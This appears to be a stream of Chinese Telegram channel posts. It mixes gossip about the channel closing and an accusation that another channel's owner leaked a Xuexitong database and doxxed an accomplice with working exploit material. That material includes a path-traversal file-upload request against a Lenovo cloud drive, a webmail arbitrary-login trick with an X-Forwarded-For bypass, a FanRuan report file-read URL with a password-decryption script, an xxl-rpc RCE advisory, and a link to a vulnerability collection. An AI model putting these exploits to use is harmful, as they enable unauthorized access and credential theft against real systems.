表弟怎么你也④了啊😦

由于迟迟不到一万人 无法解散频道 于是我降低了要求 频道达到9500人 我就解散频道（给我一个跑的机会） 累了 不想做了 群解散 号不注销 防止有人偷我id诈骗

频道科普
https://news.1rj.ru/str/xxtxxxlplg
表面上的TG信息安全共享频道，但如果你在飞机网安圈子混得久一点你会记得他原来的名字，学习通数据跑路狗

去年学习通全库被干就是他搞的，后来分赃不均把他同伙开盒大头照都挂出来了，详见该频道最初的几条消息，https://news.1rj.ru/str/xxtxxxlplg/1
非常之恶俗

表弟说国家未来的网络安全接力棒就靠他了我是真的觉得哈人，他的效果我寻思恐怕不是网络安全，是让网络不安全🤡

我操你妈，我现在就要玩《黑神话：悟空》

平胸姐就是晓骑老大

领导人

她是领导人

经山海和表弟承认，年统一晓骑营和腾蛇成为新一届领导人，望周知

我已经不想做了

解散了 啥事都没有了

【【EVA】感谢你曾来过我的世界:│▌ One Last Kiss-哔哩哔哩】 https://b23.tv/dV0owXV


😭😭😭😭😭😭😭😭

联想网盘任意文件上传漏洞

POST /write?neid=1&hash=../../../../../../../dragonball/srv/tomcat/webapps/stream_server/ttt.txt&status=1 HTTP/1.1
Host:xxxx
Cache-Control:max-age=0
Sec-Ch-Ua:"Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile:?0
Sec-Ch-Ua-Platform:"Windows"
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:none
Sec-Fetch-Mode:navigate
Sec-Fetch-User:?1
Sec-Fetch-Dest:document
Accept-Language:zh-CN,zh;q=0.9
Connection:close
Content-Type:application/octet-stream
Accept-Encoding:gzip, deflate
Content-Length:8

WEBMAIL任意用户登录漏洞

/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin
回显是下面这个
"errorMsg":"64d880ce7b737912ccb1"
使用回显的 errormsg 作为密码，用户名为 admin 即可登录
使用手机验证码登录的打不了
显示 IP 受限的话添加头 X-Forwarded-For: 127.0.0.1 即可
如果有回显但登录失败的话，使用
/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin@+证书 or 根域名获取 errormsg 然后在登录就行了

帆软报表 V8 get_geo_json 任意文件读取漏洞

WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
获得账号密码后进行解密，解密脚本如下
解密脚本
cipher = 'XXXXXXXXXXX' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""
cipher = cipher[3:]
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)

xxl-rpc远程命令执行漏洞

影响产品
version<=1.7.0（最新版）
利用状态
在野利用（已公开poc）
漏洞详情
xxl-rpc是一个分布式服务框架，提供稳定高性能的RPC远程服务调用功能开源软件。
当攻击者能够访问xxl-rpc框架的服务方7080端口时，利用该漏洞可在无需认证的情况下执行任意命令，从而导致服务器被入侵控制。
处置建议：
目前官方未发布修复版本，建议通过白名单等方式临时限制xxl-rpc服务端口(默认「7080」)的访问权限，并且如无必要关闭对公网开放。

「2023HW漏洞...1更新）.pdf」，复制整段内容，打开最新版「夸克APP」即可获取。
无需下载在线播放视频，畅享原画5倍速，支持电视投屏。
/!b48831r4FG!:/
链接：https://pan.quark.cn/s/fbb38ab6826c

Java编写Python作为辅助依赖的漏洞验证利用工具，添加了进程查找模块、编码模块、命令模块、常见漏洞利用GUI模块、shiro rememberMe解密模块等功能